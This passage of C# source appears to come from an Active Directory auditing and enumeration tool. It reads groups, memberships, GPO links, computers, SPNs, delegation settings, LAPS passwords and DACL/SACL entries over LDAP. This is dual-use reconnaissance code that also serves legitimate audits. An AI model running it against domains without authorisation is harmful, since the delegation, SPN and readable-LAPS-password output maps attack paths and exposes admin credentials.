if ((groupTypeFlags & GroupTypeFlags.UNIVERSAL_GROUP) == GroupTypeFlags.UNIVERSAL_GROUP)
{
GroupScope = "Universal";
}
else if ((groupTypeFlags & GroupTypeFlags.GLOBAL_GROUP) == GroupTypeFlags.GLOBAL_GROUP)
{
GroupScope = "Global";
}
else if ((groupTypeFlags & GroupTypeFlags.DOMAIN_LOCAL_GROUP) == GroupTypeFlags.DOMAIN_LOCAL_GROUP)
{
GroupScope = "DomainLocal";
}
}
if (AdGroup.Properties["sidhistory"].Count >= 1)
{
string sids = "";
for (int i = 0; i < AdGroup.Properties["sidhistory"].Count; i++)
{
var history = AdGroup.Properties["sidhistory"][i];
sids = sids + "," + Convert.ToString(new SecurityIdentifier((byte[])history, 0));
}
SIDHistory = sids.TrimStart(',');
}
PSObject GroupObj = new PSObject();
GroupObj.Members.Add(new PSNoteProperty("Name", AdGroup.Properties["samaccountname"][0]));
GroupObj.Members.Add(new PSNoteProperty("AdminCount", (AdGroup.Properties["admincount"].Count != 0 ? AdGroup.Properties["admincount"][0] : "")));
GroupObj.Members.Add(new PSNoteProperty("GroupCategory", GroupCategory));
GroupObj.Members.Add(new PSNoteProperty("GroupScope", GroupScope));
GroupObj.Members.Add(new PSNoteProperty("ManagedBy", ManagedBy));
GroupObj.Members.Add(new PSNoteProperty("SID", Convert.ToString(new SecurityIdentifier((byte[])AdGroup.Properties["objectSID"][0], 0))));
GroupObj.Members.Add(new PSNoteProperty("SIDHistory", SIDHistory));
GroupObj.Members.Add(new PSNoteProperty("Description", (AdGroup.Properties["Description"].Count != 0 ? CleanString(AdGroup.Properties["Description"][0]) : "")));
GroupObj.Members.Add(new PSNoteProperty("whenCreated", AdGroup.Properties["whencreated"][0]));
GroupObj.Members.Add(new PSNoteProperty("whenChanged", AdGroup.Properties["whenchanged"][0]));
GroupObj.Members.Add(new PSNoteProperty("DistinguishedName", CleanString(AdGroup.Properties["distinguishedname"][0])));
GroupObj.Members.Add(new PSNoteProperty("CanonicalName", AdGroup.Properties["canonicalname"][0]));
return new PSObject[] { GroupObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GroupRecordDictionaryProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdGroup = (SearchResult) record;
LDAPClass.AdGroupDictionary.Add((Convert.ToString(new SecurityIdentifier((byte[])AdGroup.Properties["objectSID"][0], 0))),(Convert.ToString(AdGroup.Properties["samaccountname"][0])));
return new PSObject[] { };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GroupMemberRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
// https://github.com/BloodHoundAD/BloodHound/blob/master/PowerShell/BloodHound.ps1
SearchResult AdGroup = (SearchResult) record;
List<PSObject> GroupsList = new List<PSObject>();
string SamAccountType = AdGroup.Properties["samaccounttype"].Count != 0 ? Convert.ToString(AdGroup.Properties["samaccounttype"][0]) : "";
string AccountType = "";
string GroupName = "";
string MemberUserName = "-";
string MemberName = "";
if (Groups.Contains(SamAccountType))
{
AccountType = "group";
MemberName = ((Convert.ToString(AdGroup.Properties["DistinguishedName"][0])).Split(',')[0]).Split('=')[1];
foreach (String GroupMember in AdGroup.Properties["memberof"])
{
GroupName = ((Convert.ToString(GroupMember)).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
if (Users.Contains(SamAccountType))
{
AccountType = "user";
MemberName = ((Convert.ToString(AdGroup.Properties["DistinguishedName"][0])).Split(',')[0]).Split('=')[1];
MemberUserName = Convert.ToString(AdGroup.Properties["sAMAccountName"][0]);
String PrimaryGroupID = Convert.ToString(AdGroup.Properties["primaryGroupID"][0]);
try
{
GroupName = LDAPClass.AdGroupDictionary[LDAPClass.DomainSID + "-" + PrimaryGroupID];
}
catch //(Exception e)
{
//Console.WriteLine("{0} Exception caught.", e);
GroupName = PrimaryGroupID;
}
{
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
foreach (String GroupMember in AdGroup.Properties["memberof"])
{
GroupName = ((Convert.ToString(GroupMember)).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
if (Computers.Contains(SamAccountType))
{
AccountType = "computer";
MemberName = ((Convert.ToString(AdGroup.Properties["DistinguishedName"][0])).Split(',')[0]).Split('=')[1];
MemberUserName = Convert.ToString(AdGroup.Properties["sAMAccountName"][0]);
String PrimaryGroupID = Convert.ToString(AdGroup.Properties["primaryGroupID"][0]);
try
{
GroupName = LDAPClass.AdGroupDictionary[LDAPClass.DomainSID + "-" + PrimaryGroupID];
}
catch //(Exception e)
{
//Console.WriteLine("{0} Exception caught.", e);
GroupName = PrimaryGroupID;
}
{
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
foreach (String GroupMember in AdGroup.Properties["memberof"])
{
GroupName = ((Convert.ToString(GroupMember)).Split(',')[0]).Split('=')[1];
PSObject GroupMemberObj = new PSObject();
GroupMemberObj.Members.Add(new PSNoteProperty("Group Name", GroupName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member UserName", MemberUserName));
GroupMemberObj.Members.Add(new PSNoteProperty("Member Name", MemberName));
GroupMemberObj.Members.Add(new PSNoteProperty("AccountType", AccountType));
GroupsList.Add( GroupMemberObj );
}
}
if (TrustAccounts.Contains(SamAccountType))
{
// TO DO
}
return GroupsList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class OURecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdOU = (SearchResult) record;
PSObject OUObj = new PSObject();
OUObj.Members.Add(new PSNoteProperty("Name", AdOU.Properties["name"][0]));
OUObj.Members.Add(new PSNoteProperty("Depth", ((Convert.ToString(AdOU.Properties["distinguishedname"][0]).Split(new string[] { "OU=" }, StringSplitOptions.None)).Length -1)));
OUObj.Members.Add(new PSNoteProperty("Description", (AdOU.Properties["description"].Count != 0 ? AdOU.Properties["description"][0] : "")));
OUObj.Members.Add(new PSNoteProperty("whenCreated", AdOU.Properties["whencreated"][0]));
OUObj.Members.Add(new PSNoteProperty("whenChanged", AdOU.Properties["whenchanged"][0]));
OUObj.Members.Add(new PSNoteProperty("DistinguishedName", AdOU.Properties["distinguishedname"][0]));
return new PSObject[] { OUObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GPORecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdGPO = (SearchResult) record;
PSObject GPOObj = new PSObject();
GPOObj.Members.Add(new PSNoteProperty("DisplayName", CleanString(AdGPO.Properties["displayname"][0])));
GPOObj.Members.Add(new PSNoteProperty("GUID", CleanString(AdGPO.Properties["name"][0])));
GPOObj.Members.Add(new PSNoteProperty("whenCreated", AdGPO.Properties["whenCreated"][0]));
GPOObj.Members.Add(new PSNoteProperty("whenChanged", AdGPO.Properties["whenChanged"][0]));
GPOObj.Members.Add(new PSNoteProperty("DistinguishedName", CleanString(AdGPO.Properties["distinguishedname"][0])));
GPOObj.Members.Add(new PSNoteProperty("FilePath", AdGPO.Properties["gpcfilesyspath"][0]));
return new PSObject[] { GPOObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class GPORecordDictionaryProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdGPO = (SearchResult) record;
LDAPClass.AdGPODictionary.Add((Convert.ToString(AdGPO.Properties["distinguishedname"][0]).ToUpper()), (Convert.ToString(AdGPO.Properties["displayname"][0])));
return new PSObject[] { };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class SOMRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdSOM = (SearchResult) record;
List<PSObject> SOMsList = new List<PSObject>();
int Depth = 0;
bool BlockInheritance = false;
bool? LinkEnabled = null;
bool? Enforced = null;
String gPLink = (AdSOM.Properties["gPLink"].Count != 0 ? Convert.ToString(AdSOM.Properties["gPLink"][0]) : "");
String GPOName = null;
Depth = ((Convert.ToString(AdSOM.Properties["distinguishedname"][0]).Split(new string[] { "OU=" }, StringSplitOptions.None)).Length -1);
if (AdSOM.Properties["gPOptions"].Count != 0)
{
if ((int) AdSOM.Properties["gPOptions"][0] == 1)
{
BlockInheritance = true;
}
}
var GPLinks = gPLink.Split(']', '[').Where(x => x.StartsWith("LDAP"));
int Order = (GPLinks.ToArray()).Length;
if (Order == 0)
{
PSObject SOMObj = new PSObject();
SOMObj.Members.Add(new PSNoteProperty("Name", AdSOM.Properties["name"][0]));
SOMObj.Members.Add(new PSNoteProperty("Depth", Depth));
SOMObj.Members.Add(new PSNoteProperty("DistinguishedName", AdSOM.Properties["distinguishedname"][0]));
SOMObj.Members.Add(new PSNoteProperty("Link Order", null));
SOMObj.Members.Add(new PSNoteProperty("GPO", GPOName));
SOMObj.Members.Add(new PSNoteProperty("Enforced", Enforced));
SOMObj.Members.Add(new PSNoteProperty("Link Enabled", LinkEnabled));
SOMObj.Members.Add(new PSNoteProperty("BlockInheritance", BlockInheritance));
SOMObj.Members.Add(new PSNoteProperty("gPLink", gPLink));
SOMObj.Members.Add(new PSNoteProperty("gPOptions", (AdSOM.Properties["gpoptions"].Count != 0 ? AdSOM.Properties["gpoptions"][0] : "")));
SOMsList.Add( SOMObj );
}
foreach (String link in GPLinks)
{
String[] linksplit = link.Split('/', ';');
if (!Convert.ToBoolean((Convert.ToInt32(linksplit[3]) & 1)))
{
LinkEnabled = true;
}
else
{
LinkEnabled = false;
}
if (Convert.ToBoolean((Convert.ToInt32(linksplit[3]) & 2)))
{
Enforced = true;
}
else
{
Enforced = false;
}
GPOName = LDAPClass.AdGPODictionary.ContainsKey(linksplit[2].ToUpper()) ? LDAPClass.AdGPODictionary[linksplit[2].ToUpper()] : linksplit[2].Split('=',',')[1];
PSObject SOMObj = new PSObject();
SOMObj.Members.Add(new PSNoteProperty("Name", AdSOM.Properties["name"][0]));
SOMObj.Members.Add(new PSNoteProperty("Depth", Depth));
SOMObj.Members.Add(new PSNoteProperty("DistinguishedName", AdSOM.Properties["distinguishedname"][0]));
SOMObj.Members.Add(new PSNoteProperty("Link Order", Order));
SOMObj.Members.Add(new PSNoteProperty("GPO", GPOName));
SOMObj.Members.Add(new PSNoteProperty("Enforced", Enforced));
SOMObj.Members.Add(new PSNoteProperty("Link Enabled", LinkEnabled));
SOMObj.Members.Add(new PSNoteProperty("BlockInheritance", BlockInheritance));
SOMObj.Members.Add(new PSNoteProperty("gPLink", gPLink));
SOMObj.Members.Add(new PSNoteProperty("gPOptions", (AdSOM.Properties["gpoptions"].Count != 0 ? AdSOM.Properties["gpoptions"][0] : "")));
SOMsList.Add( SOMObj );
Order--;
}
return SOMsList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class PrinterRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdPrinter = (SearchResult) record;
PSObject PrinterObj = new PSObject();
PrinterObj.Members.Add(new PSNoteProperty("Name", AdPrinter.Properties["Name"][0]));
PrinterObj.Members.Add(new PSNoteProperty("ServerName", AdPrinter.Properties["serverName"][0]));
PrinterObj.Members.Add(new PSNoteProperty("ShareName", AdPrinter.Properties["printShareName"][0]));
PrinterObj.Members.Add(new PSNoteProperty("DriverName", AdPrinter.Properties["driverName"][0]));
PrinterObj.Members.Add(new PSNoteProperty("DriverVersion", AdPrinter.Properties["driverVersion"][0]));
PrinterObj.Members.Add(new PSNoteProperty("PortName", AdPrinter.Properties["portName"][0]));
PrinterObj.Members.Add(new PSNoteProperty("URL", AdPrinter.Properties["url"][0]));
PrinterObj.Members.Add(new PSNoteProperty("whenCreated", AdPrinter.Properties["whenCreated"][0]));
PrinterObj.Members.Add(new PSNoteProperty("whenChanged", AdPrinter.Properties["whenChanged"][0]));
return new PSObject[] { PrinterObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class ComputerRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdComputer = (SearchResult) record;
bool Dormant = false;
bool? Enabled = null;
bool PasswordNotChangedafterMaxAge = false;
bool? TrustedforDelegation = null;
bool? TrustedtoAuthforDelegation = null;
String DelegationType = null;
String DelegationProtocol = null;
String DelegationServices = null;
String StrIPAddress = null;
int? DaysSinceLastLogon = null;
int? DaysSinceLastPasswordChange = null;
DateTime? LastLogonDate = null;
DateTime? PasswordLastSet = null;
if (AdComputer.Properties["dnshostname"].Count != 0)
{
try
{
StrIPAddress = Convert.ToString(Dns.GetHostEntry(Convert.ToString(AdComputer.Properties["dnshostname"][0])).AddressList[0]);
}
catch
{
StrIPAddress = null;
}
}
// When the user is not allowed to query the UserAccountControl attribute.
if (AdComputer.Properties["useraccountcontrol"].Count != 0)
{
var userFlags = (UACFlags) AdComputer.Properties["useraccountcontrol"][0];
Enabled = !((userFlags & UACFlags.ACCOUNTDISABLE) == UACFlags.ACCOUNTDISABLE);
TrustedforDelegation = (userFlags & UACFlags.TRUSTED_FOR_DELEGATION) == UACFlags.TRUSTED_FOR_DELEGATION;
TrustedtoAuthforDelegation = (userFlags & UACFlags.TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION) == UACFlags.TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION;
}
if (AdComputer.Properties["lastlogontimestamp"].Count != 0)
{
LastLogonDate = DateTime.FromFileTime((long)(AdComputer.Properties["lastlogontimestamp"][0]));
DaysSinceLastLogon = Math.Abs((Date1 - (DateTime)LastLogonDate).Days);
if (DaysSinceLastLogon > DormantTimeSpan)
{
Dormant = true;
}
}
if (AdComputer.Properties["pwdlastset"].Count != 0)
{
PasswordLastSet = DateTime.FromFileTime((long)(AdComputer.Properties["pwdlastset"][0]));
DaysSinceLastPasswordChange = Math.Abs((Date1 - (DateTime)PasswordLastSet).Days);
if (DaysSinceLastPasswordChange > PassMaxAge)
{
PasswordNotChangedafterMaxAge = true;
}
}
if ( ((bool) TrustedforDelegation) && ((int) AdComputer.Properties["primarygroupid"][0] == 515) )
{
DelegationType = "Unconstrained";
DelegationServices = "Any";
}
if (AdComputer.Properties["msDS-AllowedToDelegateTo"].Count >= 1)
{
DelegationType = "Constrained";
for (int i = 0; i < AdComputer.Properties["msDS-AllowedToDelegateTo"].Count; i++)
{
var delegateto = AdComputer.Properties["msDS-AllowedToDelegateTo"][i];
DelegationServices = DelegationServices + "," + Convert.ToString(delegateto);
}
DelegationServices = DelegationServices.TrimStart(',');
}
if ((bool) TrustedtoAuthforDelegation)
{
DelegationProtocol = "Any";
}
else if (DelegationType != null)
{
DelegationProtocol = "Kerberos";
}
string SIDHistory = "";
if (AdComputer.Properties["sidhistory"].Count >= 1)
{
string sids = "";
for (int i = 0; i < AdComputer.Properties["sidhistory"].Count; i++)
{
var history = AdComputer.Properties["sidhistory"][i];
sids = sids + "," + Convert.ToString(new SecurityIdentifier((byte[])history, 0));
}
SIDHistory = sids.TrimStart(',');
}
String OperatingSystem = CleanString((AdComputer.Properties["operatingsystem"].Count != 0 ? AdComputer.Properties["operatingsystem"][0] : "-") + " " + (AdComputer.Properties["operatingsystemhotfix"].Count != 0 ? AdComputer.Properties["operatingsystemhotfix"][0] : " ") + " " + (AdComputer.Properties["operatingsystemservicepack"].Count != 0 ? AdComputer.Properties["operatingsystemservicepack"][0] : " ") + " " + (AdComputer.Properties["operatingsystemversion"].Count != 0 ? AdComputer.Properties["operatingsystemversion"][0] : " "));
PSObject ComputerObj = new PSObject();
ComputerObj.Members.Add(new PSNoteProperty("Name", (AdComputer.Properties["name"].Count != 0 ? AdComputer.Properties["name"][0] : "")));
ComputerObj.Members.Add(new PSNoteProperty("DNSHostName", (AdComputer.Properties["dnshostname"].Count != 0 ? AdComputer.Properties["dnshostname"][0] : "")));
ComputerObj.Members.Add(new PSNoteProperty("Enabled", Enabled));
ComputerObj.Members.Add(new PSNoteProperty("IPv4Address", StrIPAddress));
ComputerObj.Members.Add(new PSNoteProperty("Operating System", OperatingSystem));
ComputerObj.Members.Add(new PSNoteProperty("Logon Age (days)", DaysSinceLastLogon));
ComputerObj.Members.Add(new PSNoteProperty("Password Age (days)", DaysSinceLastPasswordChange));
ComputerObj.Members.Add(new PSNoteProperty("Dormant (> " + DormantTimeSpan + " days)", Dormant));
ComputerObj.Members.Add(new PSNoteProperty("Password Age (> " + PassMaxAge + " days)", PasswordNotChangedafterMaxAge));
ComputerObj.Members.Add(new PSNoteProperty("Delegation Type", DelegationType));
ComputerObj.Members.Add(new PSNoteProperty("Delegation Protocol", DelegationProtocol));
ComputerObj.Members.Add(new PSNoteProperty("Delegation Services", DelegationServices));
ComputerObj.Members.Add(new PSNoteProperty("UserName", (AdComputer.Properties["samaccountname"].Count != 0 ? AdComputer.Properties["samaccountname"][0] : "")));
ComputerObj.Members.Add(new PSNoteProperty("Primary Group ID", (AdComputer.Properties["primarygroupid"].Count != 0 ? AdComputer.Properties["primarygroupid"][0] : "")));
ComputerObj.Members.Add(new PSNoteProperty("SID", Convert.ToString(new SecurityIdentifier((byte[])AdComputer.Properties["objectSID"][0], 0))));
ComputerObj.Members.Add(new PSNoteProperty("SIDHistory", SIDHistory));
ComputerObj.Members.Add(new PSNoteProperty("Description", (AdComputer.Properties["Description"].Count != 0 ? AdComputer.Properties["Description"][0] : "")));
ComputerObj.Members.Add(new PSNoteProperty("ms-ds-CreatorSid", (AdComputer.Properties["ms-ds-CreatorSid"].Count != 0 ? Convert.ToString(new SecurityIdentifier((byte[])AdComputer.Properties["ms-ds-CreatorSid"][0], 0)) : "")));
ComputerObj.Members.Add(new PSNoteProperty("Last Logon Date", LastLogonDate));
ComputerObj.Members.Add(new PSNoteProperty("Password LastSet", PasswordLastSet));
ComputerObj.Members.Add(new PSNoteProperty("UserAccountControl", (AdComputer.Properties["useraccountcontrol"].Count != 0 ? AdComputer.Properties["useraccountcontrol"][0] : "")));
ComputerObj.Members.Add(new PSNoteProperty("whenCreated", AdComputer.Properties["whencreated"][0]));
ComputerObj.Members.Add(new PSNoteProperty("whenChanged", AdComputer.Properties["whenchanged"][0]));
ComputerObj.Members.Add(new PSNoteProperty("Distinguished Name", AdComputer.Properties["distinguishedname"][0]));
return new PSObject[] { ComputerObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class ComputerSPNRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdComputer = (SearchResult) record;
List<PSObject> SPNList = new List<PSObject>();
foreach (String SPN in AdComputer.Properties["serviceprincipalname"])
{
String[] SPNArray = SPN.Split('/');
bool flag = true;
foreach (PSObject Obj in SPNList)
{
if ( (String) Obj.Members["Service"].Value == SPNArray[0] )
{
Obj.Members["Host"].Value = String.Join(",", (Obj.Members["Host"].Value + "," + SPNArray[1]).Split(',').Distinct().ToArray());
flag = false;
}
}
if (flag)
{
PSObject ComputerSPNObj = new PSObject();
ComputerSPNObj.Members.Add(new PSNoteProperty("Name", AdComputer.Properties["name"][0]));
ComputerSPNObj.Members.Add(new PSNoteProperty("Service", SPNArray[0]));
ComputerSPNObj.Members.Add(new PSNoteProperty("Host", SPNArray[1]));
SPNList.Add( ComputerSPNObj );
}
}
return SPNList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class LAPSRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdComputer = (SearchResult) record;
bool PasswordStored = false;
DateTime? CurrentExpiration = null;
if (AdComputer.Properties["ms-mcs-admpwdexpirationtime"].Count != 0)
{
CurrentExpiration = DateTime.FromFileTime((long)(AdComputer.Properties["ms-mcs-admpwdexpirationtime"][0]));
PasswordStored = true;
}
PSObject LAPSObj = new PSObject();
LAPSObj.Members.Add(new PSNoteProperty("Hostname", (AdComputer.Properties["dnshostname"].Count != 0 ? AdComputer.Properties["dnshostname"][0] : AdComputer.Properties["cn"][0] )));
LAPSObj.Members.Add(new PSNoteProperty("Stored", PasswordStored));
LAPSObj.Members.Add(new PSNoteProperty("Readable", (AdComputer.Properties["ms-mcs-admpwd"].Count != 0 ? true : false)));
LAPSObj.Members.Add(new PSNoteProperty("Password", (AdComputer.Properties["ms-mcs-admpwd"].Count != 0 ? AdComputer.Properties["ms-mcs-admpwd"][0] : null)));
LAPSObj.Members.Add(new PSNoteProperty("Expiration", CurrentExpiration));
return new PSObject[] { LAPSObj };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class SIDRecordDictionaryProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdObject = (SearchResult) record;
switch (Convert.ToString(AdObject.Properties["objectclass"][AdObject.Properties["objectclass"].Count-1]))
{
case "user":
case "computer":
case "group":
LDAPClass.AdSIDDictionary.Add(Convert.ToString(new SecurityIdentifier((byte[])AdObject.Properties["objectSID"][0], 0)), (Convert.ToString(AdObject.Properties["name"][0])));
break;
}
return new PSObject[] { };
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class DACLRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdObject = (SearchResult) record;
byte[] ntSecurityDescriptor = null;
String Name = null;
String Type = null;
List<PSObject> DACLList = new List<PSObject>();
Name = Convert.ToString(AdObject.Properties["name"][0]);
switch (Convert.ToString(AdObject.Properties["objectclass"][AdObject.Properties["objectclass"].Count-1]))
{
case "user":
Type = "User";
break;
case "computer":
Type = "Computer";
break;
case "group":
Type = "Group";
break;
case "container":
Type = "Container";
break;
case "groupPolicyContainer":
Type = "GPO";
Name = Convert.ToString(AdObject.Properties["displayname"][0]);
break;
case "organizationalUnit":
Type = "OU";
break;
case "domainDNS":
Type = "Domain";
break;
default:
Type = Convert.ToString(AdObject.Properties["objectclass"][AdObject.Properties["objectclass"].Count-1]);
break;
}
// When the user is not allowed to query the ntsecuritydescriptor attribute.
if (AdObject.Properties["ntsecuritydescriptor"].Count != 0)
{
ntSecurityDescriptor = (byte[]) AdObject.Properties["ntsecuritydescriptor"][0];
}
else
{
DirectoryEntry AdObjectEntry = ((SearchResult)record).GetDirectoryEntry();
ntSecurityDescriptor = (byte[]) AdObjectEntry.ObjectSecurity.GetSecurityDescriptorBinaryForm();
}
if (ntSecurityDescriptor != null)
{
DirectoryObjectSecurity DirObjSec = new ActiveDirectorySecurity();
DirObjSec.SetSecurityDescriptorBinaryForm(ntSecurityDescriptor);
AuthorizationRuleCollection AccessRules = (AuthorizationRuleCollection) DirObjSec.GetAccessRules(true,true,typeof(System.Security.Principal.NTAccount));
foreach (ActiveDirectoryAccessRule Rule in AccessRules)
{
String IdentityReference = Convert.ToString(Rule.IdentityReference);
String Owner = Convert.ToString(DirObjSec.GetOwner(typeof(System.Security.Principal.SecurityIdentifier)));
PSObject ObjectObj = new PSObject();
ObjectObj.Members.Add(new PSNoteProperty("Name", CleanString(Name)));
ObjectObj.Members.Add(new PSNoteProperty("Type", Type));
ObjectObj.Members.Add(new PSNoteProperty("ObjectTypeName", LDAPClass.GUIDs[Convert.ToString(Rule.ObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectTypeName", LDAPClass.GUIDs[Convert.ToString(Rule.InheritedObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("ActiveDirectoryRights", Rule.ActiveDirectoryRights));
ObjectObj.Members.Add(new PSNoteProperty("AccessControlType", Rule.AccessControlType));
ObjectObj.Members.Add(new PSNoteProperty("IdentityReferenceName", LDAPClass.AdSIDDictionary.ContainsKey(IdentityReference) ? LDAPClass.AdSIDDictionary[IdentityReference] : IdentityReference));
ObjectObj.Members.Add(new PSNoteProperty("OwnerName", LDAPClass.AdSIDDictionary.ContainsKey(Owner) ? LDAPClass.AdSIDDictionary[Owner] : Owner));
ObjectObj.Members.Add(new PSNoteProperty("Inherited", Rule.IsInherited));
ObjectObj.Members.Add(new PSNoteProperty("ObjectFlags", Rule.ObjectFlags));
ObjectObj.Members.Add(new PSNoteProperty("InheritanceFlags", Rule.InheritanceFlags));
ObjectObj.Members.Add(new PSNoteProperty("InheritanceType", Rule.InheritanceType));
ObjectObj.Members.Add(new PSNoteProperty("PropagationFlags", Rule.PropagationFlags));
ObjectObj.Members.Add(new PSNoteProperty("ObjectType", Rule.ObjectType));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectType", Rule.InheritedObjectType));
ObjectObj.Members.Add(new PSNoteProperty("IdentityReference", Rule.IdentityReference));
ObjectObj.Members.Add(new PSNoteProperty("Owner", Owner));
ObjectObj.Members.Add(new PSNoteProperty("DistinguishedName", AdObject.Properties["distinguishedname"][0]));
DACLList.Add( ObjectObj );
}
}
return DACLList.ToArray();
}
catch (Exception e)
{
Console.WriteLine("{0} Exception caught.", e);
return new PSObject[] { };
}
}
}
class SACLRecordProcessor : IRecordProcessor
{
public PSObject[] processRecord(Object record)
{
try
{
SearchResult AdObject = (SearchResult) record;
byte[] ntSecurityDescriptor = null;
String Name = null;
String Type = null;
List<PSObject> SACLList = new List<PSObject>();
Name = Convert.ToString(AdObject.Properties["name"][0]);
switch (Convert.ToString(AdObject.Properties["objectclass"][AdObject.Properties["objectclass"].Count-1]))
{
case "user":
Type = "User";
break;
case "computer":
Type = "Computer";
break;
case "group":
Type = "Group";
break;
case "container":
Type = "Container";
break;
case "groupPolicyContainer":
Type = "GPO";
Name = Convert.ToString(AdObject.Properties["displayname"][0]);
break;
case "organizationalUnit":
Type = "OU";
break;
case "domainDNS":
Type = "Domain";
break;
default:
Type = Convert.ToString(AdObject.Properties["objectclass"][AdObject.Properties["objectclass"].Count-1]);
break;
}
// When the user is not allowed to query the ntsecuritydescriptor attribute.
if (AdObject.Properties["ntsecuritydescriptor"].Count != 0)
{
ntSecurityDescriptor = (byte[]) AdObject.Properties["ntsecuritydescriptor"][0];
}
else
{
DirectoryEntry AdObjectEntry = ((SearchResult)record).GetDirectoryEntry();
ntSecurityDescriptor = (byte[]) AdObjectEntry.ObjectSecurity.GetSecurityDescriptorBinaryForm();
}
if (ntSecurityDescriptor != null)
{
DirectoryObjectSecurity DirObjSec = new ActiveDirectorySecurity();
DirObjSec.SetSecurityDescriptorBinaryForm(ntSecurityDescriptor);
AuthorizationRuleCollection AuditRules = (AuthorizationRuleCollection) DirObjSec.GetAuditRules(true,true,typeof(System.Security.Principal.NTAccount));
foreach (ActiveDirectoryAuditRule Rule in AuditRules)
{
String IdentityReference = Convert.ToString(Rule.IdentityReference);
PSObject ObjectObj = new PSObject();
ObjectObj.Members.Add(new PSNoteProperty("Name", CleanString(Name)));
ObjectObj.Members.Add(new PSNoteProperty("Type", Type));
ObjectObj.Members.Add(new PSNoteProperty("ObjectTypeName", LDAPClass.GUIDs[Convert.ToString(Rule.ObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectTypeName", LDAPClass.GUIDs[Convert.ToString(Rule.InheritedObjectType)]));
ObjectObj.Members.Add(new PSNoteProperty("ActiveDirectoryRights", Rule.ActiveDirectoryRights));
ObjectObj.Members.Add(new PSNoteProperty("IdentityReferenceName", LDAPClass.AdSIDDictionary.ContainsKey(IdentityReference) ? LDAPClass.AdSIDDictionary[IdentityReference] : IdentityReference));
ObjectObj.Members.Add(new PSNoteProperty("AuditFlags", Rule.AuditFlags));
ObjectObj.Members.Add(new PSNoteProperty("ObjectFlags", Rule.ObjectFlags));
ObjectObj.Members.Add(new PSNoteProperty("InheritanceFlags", Rule.InheritanceFlags));
ObjectObj.Members.Add(new PSNoteProperty("InheritanceType", Rule.InheritanceType));
ObjectObj.Members.Add(new PSNoteProperty("Inherited", Rule.IsInherited));
ObjectObj.Members.Add(new PSNoteProperty("PropagationFlags", Rule.PropagationFlags));
ObjectObj.Members.Add(new PSNoteProperty("ObjectType", Rule.ObjectType));
ObjectObj.Members.Add(new PSNoteProperty("InheritedObjectType", Rule.InheritedObjectType));
